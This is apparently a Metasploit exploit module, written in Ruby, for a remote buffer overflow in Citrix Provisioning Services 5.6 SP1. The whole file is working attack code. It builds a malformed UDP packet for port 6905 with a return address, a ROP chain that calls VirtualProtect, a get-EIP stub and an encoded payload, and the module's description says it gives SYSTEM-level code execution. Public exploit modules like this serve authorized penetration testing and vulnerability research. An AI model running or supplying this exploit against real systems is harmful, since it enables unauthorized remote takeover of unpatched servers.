Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020004 Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Udp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020004 Buffer Overflow',  
'Description' => %q{  
This module exploits a remote buffer overflow in the Citrix Provisioning Services  
5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet with the opcode  
0x40020004 (GetBootRecordRequest) to the 6905/UDP port. The module, which allows  
code execution under the context of SYSTEM, has been successfully tested on Windows Server  
2003 SP2 and Windows XP SP3.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'alino <26alino[at]gmail.com>', # citrix_streamprocess_data_msg author  
'juan vazquez' # Metasploit module  
],  
'Version' => '$Revision: $',  
'References' =>  
[  
['OSVDB', '75780'],  
['BID', '49803'],  
['URL', 'http://support.citrix.com/article/CTX130846']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'InitialAutoRunScript' => 'migrate -f',  
},  
'Payload' =>  
{  
'BadChars' => "\x00",  
'EncoderOptions' => {'BufferRegister'=>'ECX'},  
},  
'Platform' => ['win'],  
'Targets' =>  
[  
[ 'Citrix Provisioning Services 5.6 SP1',  
{  
'Offset' => 2012,  
'Ret' => 0x0045403a # ADD ESP,664; RETN 04 streamprocess.exe  
}  
]  
],  
'Privileged' => true,  
'DisclosureDate' => 'Nov 04 2011', #CTX130846 creation date  
'DefaultTarget' => 0))  
  
register_options([Opt::RPORT(6905)], self.class)  
end  
  
def exploit  
  
packet = "\x04\x00\x02\x40" # DATA MSG  
packet << rand_text_alpha_upper(18)  
packet << "\x00\x00\x00\x00" # Length  
packet << rand_text_alpha_upper(target['Offset'])  
packet << [target.ret].pack('V')  
  
rop_nop = [0x004a072c].pack('V') * 38 # RETN streamprocess.exe  
  
rop_gadgets =  
[  
0x0045b141, # POP EAX; RETN streamprocess.exe  
0x1009a1bc, # VirtualProtect()  
0x00436d44, # MOV EAX,DWORD PTR DS:[EAX]; RETN streamprocess.exe  
0x004b0bbe, # XCHG EAX,ESI; RETN streamprocess.exe  
0x004ad0cf, # POP EBP; RETN streamprocess.exe  
0x00455d9d, # PUSH ESP; RETN streamprocess.exe  
0x00497f5a, # POP EAX; RETN streamprocess.exe  
0xfffff9d0, # dwSize  
0x00447669, # NEG EAX; RETN streamprocess.exe  
0x004138a7, # ADD EBX,EAX; XOR EAX,EAX; RETN streamprocess.exe  
0x00426305, # POP ECX; RETN streamprocess.exe  
0x00671fb9, # lpflOldProtect  
0x004e41e6, # POP EDI; RETN streamprocess.exe  
0x0040f004, # RETN streamprocess.exe  
0x00495c05, # POP EAX; RETN streamprocess.exe  
0xffffffc0, # flNewProtect  
0x0042c79a, # NEG EAX; RETN streamprocess.exe  
0x0049b676, # XCHG EAX,EDX; RETN streamprocess.exe  
0x0045c1fa, # POP EAX; RETN streamprocess.exe  
0x90909090, # NOP  
0x00435bbe, # PUSHAD; RETN streamprocess.exe  
].pack("V*")  
  
packet[386, rop_nop.length] = rop_nop  
packet[538, rop_gadgets.length] = rop_gadgets  
# Put payload address in ecx  
geteip = "\xeb\x03" # jmp short 0x5  
geteip << "\x59" # pop ecx  
geteip << "\xff\xd1" # call ecx  
geteip << "\xe8\xf8\xff\xff\xff" # call to "pop / call"  
packet[622, 10] = geteip  
packet[632, payload.encoded.length] = payload.encoded  
  
print_status("Trying target #{target.name}...")  
  
connect_udp  
udp_sock.put(packet)  
  
handler  
disconnect_udp  
  
end  
end  
`